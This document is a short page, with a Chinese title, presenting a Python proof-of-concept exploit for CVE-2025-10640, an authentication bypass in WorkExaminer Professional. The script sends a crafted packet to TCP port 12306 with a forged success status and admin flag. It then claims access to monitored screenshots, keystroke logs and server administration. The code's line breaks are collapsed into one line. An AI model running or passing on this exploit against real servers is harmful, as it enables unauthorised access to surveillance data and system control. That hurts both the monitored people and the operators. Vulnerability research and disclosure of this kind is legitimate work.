CVE-2025-10640：WorkExaminer Professional认证绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-10640 - WorkExaminer Professional Authentication Bypass PoC Vulnerability: Missing server-side authentication validation on TCP port 12306 """ import socket import struct import sys TARGET_HOST = "127.0.0.1" TARGET_PORT = 12306 def build_auth_bypass_packet(): """ Build a custom protocol packet to bypass authentication. The server does not validate the return value of the stored procedure call, so we can craft a packet that tricks the server into granting admin access. """ # Protocol header: magic bytes + command type + payload length magic = b'\x57\x45\x50\x00' # WorkExaminer Protocol magic "WEP\x00" command = b'\x01\x00' # Authentication command # Craft payload that mimics a successful authentication response # The server trusts the client-side validation, so we forge success status payload = b'\x00' * 4 # Status: success (forged) payload += b'\x01' # Admin flag: true payload += b'admin\x00' # Username payload += b'\x00' * 16 # Session token padding length = struct.pack('<I', len(payload)) return magic + command + length + payload def exploit(target_host, target_port): """ Connect to WorkExaminer server and bypass authentication. """ print(f"[*] Targeting {target_host}:{target_port}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print("[+] Connected to WorkExaminer server") # Send authentication bypass packet packet = build_auth_bypass_packet() sock.send(packet) print("[+] Sent authentication bypass packet") # Receive server response response = sock.recv(4096) print(f"[+] Received response: {response.hex()}") # Check if authentication was bypassed if b'\x00\x00\x00\x01' in response or len(response) > 20: print("[!] Authentication bypassed - Admin access granted!") print("[!] Attacker now has access to:") print(" - All monitored screenshots") print(" - All keystroke logs") print(" - Full server administration") else: print("[-] Bypass attempt failed") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": host = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST port = int(sys.argv[2]) if len(sys.argv) > 2 else TARGET_PORT exploit(host, port)